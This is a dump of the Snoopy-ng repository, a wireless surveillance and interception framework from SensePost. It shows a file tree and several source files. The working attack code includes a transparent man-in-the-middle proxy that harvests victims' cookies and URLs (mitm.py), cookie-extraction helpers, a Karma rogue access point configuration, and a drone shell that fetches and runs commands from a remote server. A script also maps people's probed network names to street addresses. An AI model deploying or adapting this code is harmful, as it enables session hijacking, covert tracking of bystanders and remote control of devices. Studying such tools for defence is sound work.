├── .gitignore ├── LICENSE.html ├── LICENSE.txt ├── README.md ├── TODO.txt ├── includes ├── __init__.py ├── auth_handler.py ├── bluScan.py ├── command_shell.py ├── common.py ├── fifoDict.py ├── firelamb_helper.py ├── fonts.py ├── geovismap_csv.sh ├── get_3g_balance.py ├── hostapd.conf ├── jsonify.py ├── mac_vendor.py ├── mac_vendor.txt ├── mitm.py ├── monitor_mode.py ├── prox.py ├── rogee.py ├── run_prog.py ├── run_prog.py.bak ├── run_prog.py.new ├── sakis.py ├── sakis3g ├── system_info.py ├── webserver.py └── wigle_api.py ├── install.sh ├── plugins ├── ComingSoon.txt ├── __c80211_pycap.py ├── __import_old_snoopy.py ├── __init__.py ├── blutooth.py ├── example.py ├── gpsd.py ├── heartbeat.py ├── local_sync.py ├── mitmproxy.py ├── mods80211 │ ├── __arp_geoloc.py │ ├── __init__.py │ ├── apple_guids.py │ ├── firelamb.py │ ├── prefilter │ │ ├── __init__.py │ │ └── prefilter.py │ ├── wifi_aps.py │ ├── wifi_clients.py │ └── wpa.py ├── rogueAP.py ├── run_log.py ├── server.py ├── sysinfo.py ├── wifi.py └── wigle.py ├── scripts └── install_rpi.sh ├── setup ├── README_BBONE.txt ├── apache │ ├── README.md │ ├── snoopy.conf.tpl │ └── snoopy.wsgi ├── cron │ └── rebooter ├── ntp.conf ├── rc.local ├── scapy-latest-snoopy_patch.tar.gz ├── sn.txt ├── sslstripSnoopy │ ├── COPYING │ ├── FOO │ ├── README │ ├── __init__.py │ ├── build │ │ ├── lib.linux-i686-2.7 │ │ │ └── sslstrip │ │ │ │ ├── ClientRequest.py │ │ │ │ ├── CookieCleaner.py │ │ │ │ ├── DnsCache.py │ │ │ │ ├── SSLServerConnection.py │ │ │ │ ├── ServerConnection.py │ │ │ │ ├── ServerConnectionFactory.py │ │ │ │ ├── StrippingProxy.py │ │ │ │ ├── URLMonitor.py │ │ │ │ └── __init__.py │ │ └── scripts-2.7 │ │ │ └── sslstrip │ ├── iptables.sh │ ├── jstripper.py │ ├── lock.ico │ ├── output.log.old │ ├── setup.py │ ├── sslstrip.py │ ├── sslstrip │ │ ├── ClientRequest.py │ │ ├── CookieCleaner.py │ │ ├── DnsCache.py │ │ ├── SSLServerConnection.py │ │ ├── SSLServerConnection.py~ │ │ ├── ServerConnection.py │ │ ├── ServerConnection.py~ │ │ ├── ServerConnectionFactory.py │ │ ├── StrippingProxy.py │ │ ├── URLMonitor.py │ │ └── __init__.py │ └── sslstrip1.py └── upstarts │ ├── README.txt │ ├── SETTINGS │ ├── ntp_update.conf │ ├── phone_home.conf │ ├── sakis.conf │ └── snoopy.conf ├── snoopy.py ├── transforms ├── Maltego.py ├── MaltegoTransform.py ├── MaltegoTransform.py.diff ├── README.txt ├── db_path.conf ├── fetchClients.py ├── fetchClientsWithData.py ├── fetchCookies.py ├── fetchCountries.py ├── fetchDefiniteAddresses.py ├── fetchDomains.py ├── fetchDrones.py ├── fetchIP.py ├── fetchLocations.py ├── fetchLogs.py ├── fetchManufacturers.py ├── fetchNearbySSIDs.py ├── fetchObservations.py ├── fetchSSIDLocations.py ├── fetchSSIDLocations_live.py ├── fetchSSIDs.py ├── fetchSSLStrip.py ├── fetchURL.py ├── fetchUserAgent.py ├── snoopy_entities.mtz ├── transformCommon.py └── wigle_api.py └── uat ├── monitor_mode.py ├── traffgen.py └── words.txt /.gitignore: -------------------------------------------------------------------------------- 1 | transforms/tmp 2 | .acceptedlicense 3 | wigle_creds.txt 4 | *.pyc 5 | *.db 6 | *.log 7 | *.sql 8 | -------------------------------------------------------------------------------- /LICENSE.html: -------------------------------------------------------------------------------- 1 | Creative Commons License
SensePost Snoopy by Glenn Wilkinson is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
Permissions beyond the scope of this license may be available at glenn@sensepost.com. 2 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | This work is licensed under the Creative Commons 2 | Attribution-Non Commercial-ShareAlike 4.0 International 3 | License. To view a copy of this license, visit 4 | 5 | http://creativecommons.org/licenses/by-nc-sa/4.0/deed.en_US. 6 | -------------------------------------------------------------------------------- /TODO.txt: -------------------------------------------------------------------------------- 1 | BUGS: 2 | Maltego transforms 3 | Default port when localsyncing 4 | 5 | 6 | * = Done 7 | - = Doing 8 | x = No longer appropriate 9 | 10 | 1. Hardware 11 | [-] XBee 12 | [ ] GSM 13 | [-] UAV - attach 14 | [-] Test on N900 15 | [*] Test on PwnPad 16 | 17 | 2. Software 18 | Client Side: 19 | [ ] Capture WPA handshake 20 | [ ] ToR 21 | [-] Maltego 22 | -SSIDs around location 23 | [-] Google map creation 24 | [-] Google earth KML explorer 25 | [x] Fix up get_ident code 26 | [ ] sync module to handle server + client? 27 | [-] web cmd shell (launch web cmd in new thread/process, with timeout) 28 | [-] GZIP 29 | [ ] Log file gets overwritten? 30 | [ ] Migrate to Requests! 31 | [ ] Modify BT plugin to keep queue 32 | [-] Test GPS code - also write for N900 33 | [-] Write XBee code 34 | [ ] Incorporate RogueAP 35 | [-] Cookie/web extractor 36 | [*] Update Wigle plugin 37 | [ ] GPS.... OpenBTS? 38 | [ ] Extract WPA Key plugin 39 | [ ] ARP plugin 40 | [ ] mDNS plugin 41 | [ ] Trilateration plugin. 42 | [ ] Make Python setup file 43 | 44 | Server Side: 45 | [*] Flask + Apache 46 | [ ] SSL - recheck with new server code 47 | [*] JSON API 48 | [-] Data exploration webUI 49 | 50 | 3. Testing 51 | [ ] Determine range 52 | [*] Unit tests 53 | [*] Replay captured traffic tests from Heathrow 54 | [ ] DB schema test - millions of rows? 55 | 56 | 4. Other 57 | [-] Write documentation 58 | [ ] Write paper - submit to academic con? 59 | -------------------------------------------------------------------------------- /includes/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/includes/__init__.py -------------------------------------------------------------------------------- /includes/bluScan.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from datetime import datetime 3 | from datetime import date 4 | from includes.mac_vendor import mac_vendor 5 | import logging 6 | 7 | flag_do_sdp = False 8 | mv = mac_vendor() 9 | 10 | def scan(): 11 | cmd_scan = "hcitool scan --info --class --flush" 12 | try: 13 | cmd_scan_out = subprocess.Popen(cmd_scan.split(),stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate() 14 | except Exception,e: 15 | logging.error("Unable to scan for Bluetooth devices: '%s'" %str(e)) 16 | else: 17 | # parse scan results 18 | if len(cmd_scan_out[0]) > 16: 19 | devices = [] 20 | 21 | for record in cmd_scan_out[0].split('\n\n')[1:-1]: 22 | record = record.split('\n') 23 | device = {'mac':'Unknown', 'vendor':'Unknown', 'vendorLong':'Unknown', 'name':'Unknown', 'classType':'Unknown','manufac':'Unknown','lmpVer':'Unknown'} 24 | 25 | try: 26 | device['mac'] = mac = record[0][12:29:].replace(':','').lower() 27 | device['vendor'], device['vendorLong'] = mv.lookup(mac[:6]) 28 | device['name'] = record[1][13:].replace('[cached]','') #name 29 | device['classType'] = record[2][14:].replace("Device conforms to the ","") #class+type 30 | 31 | if len(record)>3: 32 | device['manufac'] = record[3][14:] # chip manufacturer 33 | device['lmpVer'] = record[4][13:16:] # lmp ver 34 | except Exception, e: 35 | logging.warning("Trouble parsing Bluetooth output: %s" % str(e)) 36 | 37 | devices.append(device) 38 | 39 | return devices 40 | 41 | if __name__ == "__main__": 42 | print scan() 43 | -------------------------------------------------------------------------------- /includes/command_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import urllib 5 | from threading import Thread 6 | import base64 7 | import time 8 | import urllib2 9 | import logging 10 | from includes.run_prog import run_program 11 | 12 | class CommandShell(Thread): 13 | def __init__(self, server, drone, key): 14 | self.server = server 15 | self.drone = drone 16 | self.key = key 17 | self.RUN = True 18 | Thread.__init__(self) 19 | 20 | def run(self): 21 | """Check every N seconds if a new command is required to be run""" 22 | while self.RUN: 23 | self.fetch_command() 24 | time.sleep(5) 25 | 26 | #TODO: 1. Use Posts, and probably JSON for commands. Currently using GETs. 27 | # 2. Launch programs in a separate thread, to avoid blocking 28 | def fetch_command(self): 29 | """Poll the server for new commands, execute, and return""" 30 | base64string = base64.encodestring('%s:%s' % (self.drone, self.key)).replace('\n', '') 31 | headers = {'content-type': 'application/json', 32 | 'Authorization':'Basic %s' % base64string} 33 | 34 | checkForCommandURL = self.server + "/cmd/droneQuery" 35 | sendCommandOutputURL = self.server + "/cmd/droneResponse" 36 | try: 37 | req = urllib2.Request(checkForCommandURL, headers=headers) 38 | response = urllib2.urlopen(req) 39 | 40 | if response: 41 | command = response.read() 42 | if command != "": 43 | logging.debug("Running command '%s'" % command) 44 | outcome = run_program(command) 45 | response_data = urllib.urlencode({'command':command, 'output': outcome } ) 46 | req = urllib2.Request(sendCommandOutputURL + "?" + response_data, headers=headers) 47 | response = urllib2.urlopen(req) 48 | except Exception,e: 49 | logging.error(e) 50 | 51 | def stop(self): 52 | self.RUN = False 53 | 54 | if __name__ == "__main__": 55 | CommandShell().start() 56 | -------------------------------------------------------------------------------- /includes/common.py: -------------------------------------------------------------------------------- 1 | import os 2 | from sqlalchemy.ext.compiler import compiles 3 | from sqlalchemy.sql.expression import Insert 4 | from sqlalchemy import Column, String, MetaData, Integer 5 | import hashlib 6 | import glob 7 | 8 | #Set path 9 | snoopyPath=os.path.dirname(os.path.realpath(__file__)) 10 | os.chdir(snoopyPath) 11 | os.chdir("..") 12 | 13 | printFreq = 20 14 | 15 | def get_plugin_names(): 16 | return sorted([ os.path.basename(f)[:-3] 17 | for f in glob.glob("./plugins/*.py") 18 | if not os.path.basename(f).startswith('__') ]) 19 | 20 | def get_plugins(): 21 | plugins = [] 22 | for plug in get_plugin_names(): 23 | plug = "plugins." + plug 24 | m = __import__(plug, fromlist="Snoop").Snoop 25 | plugins.append(m) 26 | return plugins 27 | 28 | def get_tables(): 29 | all_tables = [] 30 | for plug in get_plugins(): 31 | tbls = plug.get_tables() 32 | for tbl in tbls: 33 | tbl.append_column( Column('run_id', Integer) ) #Every entry generated gets the run id included. This is for joins, as well as tracking which drone created which data 34 | all_tables.append(tbl) 35 | return all_tables 36 | 37 | def create_tables(db): 38 | tbls = get_tables() 39 | metadata = MetaData(db) 40 | for tbl in tbls: 41 | tbl.metadata = metadata 42 | if not db.dialect.has_table(db.connect(), tbl.name): 43 | tbl.create() 44 | 45 | @compiles(Insert) 46 | def replace_string(insert, compiler, **kw): 47 | s = compiler.visit_insert(insert, **kw) 48 | s = s.replace("INSERT INTO", "REPLACE INTO") 49 | return s 50 | 51 | salt="50f51d9fdcb6066433431eb8c15214b7" 52 | def snoop_hash(value): 53 | return hashlib.sha256(str(value)+salt).hexdigest() 54 | -------------------------------------------------------------------------------- /includes/fifoDict.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | 5 | from collections import OrderedDict 6 | 7 | class fifoDict: 8 | """OrderedDict with FIFO size constraint""" 9 | def __init__(self, size=1000, reducePc=0.2, names=None): 10 | """ 11 | 'names' paramter should be a n tuple the same same size as a tuple passed to the add method 12 | For example, names = ('mac', 'ssid') 13 | """ 14 | self.od = OrderedDict() 15 | self.sz = size 16 | self.reducePc=0.5 17 | self.names = names 18 | 19 | def add(self, item): 20 | if item not in self.od: 21 | self.od[item] = 0 22 | 23 | def getNew(self): 24 | newData = [] 25 | markAsFetched = [] 26 | for key, val in self.od.iteritems(): 27 | if val == 0: 28 | newData.append( key ) 29 | for key in newData: 30 | self.od[key] = 1 31 | #Reduce size of dict by reducePc % : 32 | if len(self.od) > self.sz: 33 | for i in range(int(self.reducePc * self.sz)): 34 | try: 35 | self.od.popitem(last = False) 36 | except KeyError: 37 | pass 38 | #If keys were supplied, combine with values and return 39 | if self.names: 40 | toReturn = [] 41 | for ident in newData: 42 | row = dict(zip(self.names,ident)) 43 | toReturn.append(row) 44 | return toReturn 45 | else: 46 | return newData 47 | -------------------------------------------------------------------------------- /includes/firelamb_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # copyright of sandro gauci 2008 3 | # hijack helper functions 4 | def parseHeader(buff,type='response'): 5 | import re 6 | SEP = '\r\n\r\n' 7 | HeadersSEP = '\r*\n(?![\t\x20])' 8 | import logging 9 | log = logging.getLogger('parseHeader') 10 | if SEP in buff: 11 | header,body = buff.split(SEP,1) 12 | else: 13 | header = buff 14 | body = '' 15 | headerlines = re.split(HeadersSEP, header) 16 | 17 | if len(headerlines) > 1: 18 | r = dict() 19 | if type == 'response': 20 | _t = headerlines[0].split(' ',2) 21 | if len(_t) == 3: 22 | httpversion,_code,description = _t 23 | else: 24 | # log.warn('Could not parse the first header line: %s' % `_t`) 25 | return r 26 | try: 27 | r['code'] = int(_code) 28 | except ValueError: 29 | return r 30 | elif type == 'request': 31 | _t = headerlines[0].split(' ',2) 32 | if len(_t) == 3: 33 | method,uri,httpversion = _t 34 | r['method'] = method 35 | r['uri'] = uri 36 | r['httpversion'] = httpversion 37 | else: 38 | # log.warn('Could not parse the first header line: %s' % `_t`) 39 | return r 40 | r['headers'] = dict() 41 | for headerline in headerlines[1:]: 42 | SEP = ':' 43 | if SEP in headerline: 44 | tmpname,tmpval = headerline.split(SEP,1) 45 | name = tmpname.lower().strip() 46 | val = map(lambda x: x.strip(),tmpval.split(',')) 47 | else: 48 | name,val = headerline.lower(),None 49 | r['headers'][name] = val 50 | r['body'] = body 51 | return r 52 | 53 | def getdsturl(tcpdata): 54 | import logging 55 | log = logging.getLogger('getdsturl') 56 | p = parseHeader(tcpdata,type='request') 57 | if p is None: 58 | # log.warn('parseHeader returned None') 59 | return 60 | if p.has_key('uri') and p.has_key('headers'): 61 | if p['headers'].has_key('host'): 62 | r = 'http://%s%s' % (p['headers']['host'][0],p['uri']) 63 | return r 64 | #else: 65 | # log.warn('seems like no host header was set') 66 | #else: 67 | # log.warn('parseHeader did not give us a nice return %s' % p) 68 | 69 | def gethost(tcpdata): 70 | import logging 71 | log = logging.getLogger('getdsturl') 72 | p = parseHeader(tcpdata,type='request') 73 | if p is None: 74 | # log.warn('parseHeader returned None') 75 | return 76 | if p.has_key('headers'): 77 | if p['headers'].has_key('host'): 78 | return p['headers']['host'] 79 | 80 | def getuseragent(tcpdata): 81 | import logging 82 | log = logging.getLogger('getuseragent') 83 | p = parseHeader(tcpdata,type='request') 84 | if p is None: 85 | # log.warn('parseHeader returned None') 86 | return 87 | if p.has_key('headers'): 88 | if p['headers'].has_key('user-agent'): 89 | return p['headers']['user-agent'] 90 | 91 | def calcloglevel(options): 92 | logginglevel = 30 93 | if options.verbose is not None: 94 | if options.verbose >= 3: 95 | logginglevel = 10 96 | else: 97 | logginglevel = 30-(options.verbose*10) 98 | if options.quiet: 99 | logginglevel = 50 100 | return logginglevel 101 | 102 | def getcookie(tcpdata): 103 | p = parseHeader(tcpdata,type='request') 104 | if p is None: 105 | return 106 | if p.has_key('headers'): 107 | if p['headers'].has_key('cookie'): 108 | return p['headers']['cookie'] 109 | 110 | 111 | -------------------------------------------------------------------------------- /includes/fonts.py: -------------------------------------------------------------------------------- 1 | # Console colors 2 | W = '\033[0m' # white (normal) 3 | R = '\033[31m' # red 4 | G = '\033[32m' # green 5 | O = '\033[33m' # orange 6 | B = '\033[34m' # blue 7 | P = '\033[35m' # purple 8 | C = '\033[36m' # cyan 9 | GR = '\033[37m' # gray 10 | BB = '\033[1m' # Bold 11 | NB = '\033[0m' # Not bold 12 | F = '\033[5m' # Flash 13 | NF = '\033[25m' # Not flash 14 | -------------------------------------------------------------------------------- /includes/geovismap_csv.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Helper script to make .csv 3 | # glenn@sensepost.com 4 | 5 | db="/root/snoopy-ng/snoopy.db" 6 | outdir="/root/Desktop/Results" 7 | mkdir -p $outdir 8 | echo "The following are available:" 9 | sqlite3 $db "SELECT DISTINCT location from sessions" 10 | echo "" 11 | 12 | for name in `sqlite3 $db "SELECT DISTINCT location from sessions"`; do 13 | 14 | 15 | cat > /tmp/cmds.txt << EOL 16 | 17 | .output $outdir/$name.gps.csv 18 | .mode csv 19 | 20 | SELECT 21 | "SSID: " || 22 | wigle.ssid || 23 | "
"|| 24 | "Address: " || 25 | shortaddress || 26 | "
" || 27 | "" || 29 | "" || 31 | "" 32 | 33 | ,lat,long FROM wifi_client_ssids,wigle,sessions 34 | WHERE sessions.location='$name' 35 | AND wifi_client_ssids.run_id = sessions.run_id 36 | AND wigle.ssid = wifi_client_ssids.ssid 37 | AND wigle.overflow=0 38 | GROUP BY wigle.ssid HAVING COUNT(*) < 6; 39 | 40 | EOL 41 | 42 | sqlite3 $db < /tmp/cmds.txt 43 | 44 | sed -i '1s/^/\"name\",\"latitude\",\"longitude\"\n/' $outdir/$name.gps.csv 45 | 46 | echo "Written to $outdir/$name.gps.csv" 47 | 48 | 49 | 50 | #### and again 51 | cat > /tmp/cmds2.txt << EOL 52 | 53 | .output $outdir/$name.address.csv 54 | .mode csv 55 | 56 | SELECT wigle.ssid,shortaddress,city,country 57 | FROM wifi_client_ssids,wigle,sessions 58 | WHERE sessions.location='$name' 59 | AND wifi_client_ssids.run_id = sessions.run_id 60 | AND wigle.ssid = wifi_client_ssids.ssid 61 | AND wigle.overflow=0 62 | GROUP BY wigle.ssid HAVING count(*) < 6 ; 63 | 64 | EOL 65 | 66 | sqlite3 $db < /tmp/cmds2.txt 67 | 68 | sed -i '1s/^/\"ssid\",\"address\",\"city\",\"country\"\n/' $outdir/$name.address.csv 69 | 70 | echo "Written to $outdir/$name.address.csv" 71 | 72 | 73 | #### third foobar 74 | 75 | #cat > /tmp/cmds.txt << EOL 76 | 77 | #.output $outdir/$name.manufac.csv 78 | #.mode csv 79 | 80 | #SELECT wifi_client_ssids.mac,wifi_client_ssids.ssid 81 | #FROM wifi_client_ssids,sessions 82 | #WHERE wifi_client_ssids.run_id=sessions.run_id 83 | #AND sessions.location='$name' 84 | #GROUP BY wifi_client_ssids.mac; 85 | 86 | #EOL 87 | 88 | #sqlite3 snoopy.db < /tmp/cmds.txt 89 | 90 | #sed -i '1s/^/\"ssid\",\"mac\"\n/' $outdir/$name.manufac.csv 91 | 92 | #echo "Written to $outdir/$name.manufac.csv" 93 | 94 | 95 | done 96 | 97 | echo "Press any key to exit" 98 | read -n 1 99 | -------------------------------------------------------------------------------- /includes/get_3g_balance.py: -------------------------------------------------------------------------------- 1 | #Doesn't seem to work across devices. When working correctly incorporate into includes/system_info.py 2 | 3 | import serial 4 | from smspdu import pdu, gsm0338 5 | import time 6 | import os 7 | from serial.tools import list_ports 8 | import logging 9 | 10 | #Define your USB modem's ID here. Check it with lsusb. 11 | usb_id="12d1:140c" #Huawei Technologies 12 | 13 | def check_o2_balance(): 14 | """Check o2 balance""" 15 | ser = serial.Serial(find_device()) 16 | code = "*#10#" 17 | data="AT+CUSD=1,%s,15" % pdu.pack7bit(code)[1].encode('hex').upper() 18 | ser.write(data + "\r") 19 | start = int(os.times()[4]) 20 | while start + 10 > int(os.times()[4]): 21 | line = ser.readline().replace('"',"") 22 | if "+CUSD:" in line: 23 | response = line.split(",")[1] 24 | result = gsm0338().decode(pdu.unpack7bit(response.decode('hex')))[0] 25 | result = result[:-1].replace(u'Your balance is \xa3','') 26 | logging.debug("Balance is %s" %result) 27 | return float(result) 28 | return -1 29 | 30 | def find_device(): 31 | """Return first instance of matching usb_id""" 32 | logging.debug("Looking for USB modem") 33 | usb_devices = list_ports.comports() 34 | for device in usb_devices: 35 | id = device[2].split("=") 36 | if len(id) > 1 and id[1] == usb_id: 37 | logging.debug("Found USB modem at %s" % device[0]) 38 | return device[0] 39 | 40 | if __name__ == "__main__": 41 | print "Balance is %f" % check_o2_balance() 42 | -------------------------------------------------------------------------------- /includes/hostapd.conf: -------------------------------------------------------------------------------- 1 | interface=wlan5 2 | bssid=00:11:22:33:44:00 3 | driver=nl80211 4 | ssid=AlwaysOn 5 | channel=6 6 | 7 | #bss=wlan5_0 8 | #ssid=Internet 9 | 10 | #bss=wlan5_1 11 | #ssid=WirelessG 12 | 13 | disassoc_low_ack=0 14 | 15 | # Both open and shared auth 16 | auth_algs=3 17 | 18 | # no SSID cloaking 19 | ignore_broadcast_ssid=0 20 | 21 | # -1 = log all messages 22 | logger_syslog=-1 23 | logger_stdout=-1 24 | 25 | # 2 = informational messages 26 | logger_syslog_level=1 27 | logger_stdout_level=1 28 | 29 | # Dump file for state information (on SIGUSR1) 30 | # example: kill -USR1 31 | dump_file=/tmp/hostapd.dump 32 | ctrl_interface=/var/run/hostapd 33 | ctrl_interface_group=0 34 | 35 | # 0 = accept unless in deny list 36 | macaddr_acl=0 37 | 38 | # only used if you want to do filter by MAC address 39 | #accept_mac_file=/etc/hostapd/hostapd.accept 40 | #deny_mac_file=/etc/hostapd/hostapd.deny 41 | 42 | # Finally, enable Karma 43 | enable_karma=1 44 | 45 | # Black and white listing 46 | # 0 = while 47 | # 1 = black 48 | #karma_black_white=1 49 | -------------------------------------------------------------------------------- /includes/jsonify.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from sqlalchemy import DateTime 3 | import time 4 | import json 5 | from includes.common import get_tables 6 | import logging 7 | 8 | def date_to_epoch(_dt): 9 | return time.mktime(_dt.utctimetuple()) 10 | 11 | def epoch_to_date(_et): 12 | return datetime.fromtimestamp(_et) 13 | 14 | obj_to_json = { 15 | datetime : date_to_epoch 16 | } 17 | 18 | json_to_obj = { 19 | DateTime : epoch_to_date 20 | } 21 | 22 | 23 | col_type_mapper = {} 24 | def load_col_type_mapper(): 25 | global col_type_mapper 26 | tbls = get_tables() 27 | for tbl in tbls: 28 | for col in tbl.columns: 29 | typ = type(col.type) 30 | if json_to_obj.get(typ): 31 | col_type_mapper[(tbl.name,col.name)] = json_to_obj.get(typ) 32 | 33 | 34 | def objs_to_json(_data): 35 | for r in range(len(_data['data'])): 36 | row = _data['data'][r] 37 | for name, value in row.iteritems(): 38 | if obj_to_json.get( type(value) ): 39 | f = obj_to_json[ type(value) ] 40 | _data['data'][r][name] = f(value) 41 | 42 | try: 43 | return json.dumps(_data) 44 | except: 45 | print _data 46 | 47 | def json_to_objs(_json): 48 | if not col_type_mapper: 49 | logging.debug("Preloading table mappings...") 50 | load_col_type_mapper() 51 | 52 | _data = json.loads(_json) 53 | table = _data['table'] 54 | for r in range(len(_data['data'])): 55 | row = _data['data'][r] 56 | for name, value in row.iteritems(): 57 | if col_type_mapper.get( (table, name) ): 58 | f = col_type_mapper[ (table, name) ] 59 | _data['data'][r][name] = f(value) 60 | 61 | return _data 62 | 63 | 64 | def json_list_to_objs(_json): 65 | """Take a list of table data, and convert to a list of dicts""" 66 | if not col_type_mapper: 67 | logging.debug("Preloading table mappings...") 68 | load_col_type_mapper() 69 | 70 | _data_list = json.loads(_json) 71 | _data_to_return = [] 72 | for _data in _data_list: 73 | table = _data['table'] 74 | for r in range(len(_data['data'])): 75 | row = _data['data'][r] 76 | for name, value in row.iteritems(): 77 | if col_type_mapper.get( (table, name) ): 78 | f = col_type_mapper[ (table, name) ] 79 | _data['data'][r][name] = f(value) 80 | _data_to_return.append(_data) 81 | return _data_to_return 82 | 83 | 84 | 85 | -------------------------------------------------------------------------------- /includes/mac_vendor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import sys 6 | import requests 7 | import re 8 | import logging 9 | from urlparse import urlparse 10 | 11 | #Set path 12 | path = os.path.dirname(os.path.realpath(__file__)) 13 | manuf_url = "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf;hb=HEAD" 14 | 15 | class mac_vendor(): 16 | def __init__(self): 17 | self.mac_lookup = {} 18 | with open("%s/mac_vendor.txt" % path) as f: 19 | for line in f: 20 | line = line.strip() 21 | (mac, vendorshort, vendorlong) = line.split("|") 22 | self.mac_lookup[mac.lower()] = (vendorshort, vendorlong) 23 | 24 | def lookup(self, mac): 25 | mac = mac.lower() 26 | if mac in self.mac_lookup: 27 | return self.mac_lookup[mac] 28 | else: 29 | return ("Unknown", "Unknown device") 30 | 31 | def update(self, url=None): 32 | if not url: 33 | url = manuf_url 34 | o = urlparse(url) 35 | logging.debug("Fetching data from %s..." % url) 36 | if not o.scheme or o.scheme == "file": 37 | with open(url, "r") as f: 38 | data = f.read() 39 | elif o.scheme == "http" or o.scheme == "https": 40 | r = requests.get(url) 41 | data = r.text.encode("utf8") 42 | else: 43 | logging.error("Only local files or http(s) URLs are supported") 44 | return None 45 | 46 | count = 0 47 | f = open("%s/mac_vendor.txt" % path, "a") 48 | for line in data.split('\n'): 49 | try: 50 | mac, vendor = re.search(r'([0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2})\t(.*)', line).groups() 51 | mac = mac.replace(":", "").lower() 52 | vendor = vendor.split("# ") 53 | vendorshort = vendor[0].strip() 54 | vendorlong = vendorshort 55 | if (len(vendor) == 2): 56 | vendorlong = vendor[1].strip() 57 | if mac in self.mac_lookup: 58 | continue 59 | f.write("|".join((mac.upper(), vendorshort, vendorlong + "\n"))) 60 | self.mac_lookup[mac] = (vendorshort, vendorlong) 61 | count += 1 62 | except AttributeError: 63 | continue 64 | except: 65 | logging.error("Processing error - you may need to restore mac_vendor.txt manually.") 66 | return None 67 | 68 | f.close() 69 | logging.debug("Wrote %d new MAC vendor entries" % count) 70 | 71 | 72 | if __name__ == "__main__": 73 | import argparse 74 | 75 | logging.basicConfig(level=logging.DEBUG, 76 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 77 | datefmt='%Y-%m-%d %H:%M:%S') 78 | 79 | parser = argparse.ArgumentParser() 80 | parser.add_argument("-u", "--update", help="Update OUI data from a text file in Wireshark manuf format", action='store_true') 81 | parser.add_argument("-f", "--file", help="The location of the Wireshark manuf file (useful if available locally)") 82 | args = parser.parse_args() 83 | 84 | if not args.update: 85 | print "[!] No operation specified! Try --help." 86 | sys.exit(-1) 87 | 88 | mv = mac_vendor() 89 | mv.update(args.file) 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /includes/mitm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | from libmproxy import proxy, flow, platform 5 | import datetime 6 | import json 7 | from threading import Thread 8 | from collections import deque 9 | 10 | class MyMaster(flow.FlowMaster): 11 | 12 | def run(self): 13 | self.logs = deque() 14 | try: 15 | flow.FlowMaster.run(self) 16 | except KeyboardInterrupt: 17 | self.shutdown() 18 | 19 | def handle_request(self, r): 20 | f = flow.FlowMaster.handle_request(self, r) 21 | if f: 22 | r.reply() 23 | 24 | client_ip = r.client_conn.address[0] 25 | host = r.host 26 | path = r.path 27 | full_url = r.get_url() 28 | method = r.method 29 | port = r.port 30 | timestamp = r.timestamp_start 31 | useragent = r.headers.get('User-agent') 32 | if useragent: 33 | useragent = useragent[0] 34 | timestamp = datetime.datetime.fromtimestamp(r.timestamp_start) 35 | 36 | cookies = {} 37 | tmp_cookies = r.get_cookies() 38 | if tmp_cookies: 39 | for k, v in tmp_cookies.iteritems(): 40 | cookies[k] = v[0] 41 | cookies = json.dumps(cookies) 42 | 43 | log = {"client_ip":client_ip, "host":host, "path":path, "full_url":full_url, \ 44 | "method":method, "port":port, "timestamp":timestamp, "useragent":useragent, \ 45 | "cookies":cookies} 46 | self.logs.append(log) 47 | return f 48 | 49 | def get_logs(self): 50 | rtnData=[] 51 | while self.logs: 52 | rtnData.append(self.logs.popleft()) 53 | return rtnData 54 | 55 | def handle_response(self, r): 56 | f = flow.FlowMaster.handle_response(self, r) 57 | if f: 58 | r.reply() 59 | return f 60 | 61 | class myProx(Thread): 62 | def __init__(self): 63 | Thread.__init__(self) 64 | 65 | config = proxy.ProxyConfig( 66 | cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"), 67 | transparent_proxy = dict (showhost=True,resolver = platform.resolver(), sslports = [443, 8443]) #Thanks nmonkee 68 | ) 69 | state = flow.State() 70 | server = proxy.ProxyServer(config, 8080) 71 | self.m = MyMaster(server, state) 72 | 73 | def run(self): 74 | print "Running on 8080" 75 | self.m.run() 76 | print "Done" 77 | 78 | def get_data(self): 79 | return self.m.get_logs() 80 | 81 | 82 | 83 | if __name__ == "__main__": 84 | p = myProx() 85 | p.run() 86 | -------------------------------------------------------------------------------- /includes/monitor_mode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from subprocess import Popen, call, PIPE 4 | import os 5 | #from sys import stdout, stdin # Flushing 6 | import re 7 | import logging 8 | 9 | #logging.basicConfig(level=logging.DEBUG, 10 | # format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 11 | # datefmt='%Y-%m-%d %H:%M:%S') 12 | 13 | DN = open(os.devnull, 'w') 14 | 15 | def enable_monitor_mode(iface=''): 16 | #First, disable all existing monitor interfaces 17 | disable_monitor_mode() 18 | #If not specified, take the last wireless interface. 19 | if not iface: 20 | proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) 21 | for line in proc.communicate()[0].split('\n'): 22 | if 'phy' in line and not line.startswith("mon"): 23 | iface=re.split(r"\s",line)[0] 24 | if iface: 25 | logging.debug("Enabling monitor mode on '%s'"%iface) 26 | call(['airmon-ng', 'check', 'kill'], stdout=DN, stderr=DN) 27 | call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN) 28 | monif = get_monitor_iface() 29 | if monif: 30 | logging.debug("Enabled monitor mode '%s'"%monif[0]) 31 | return monif[0] 32 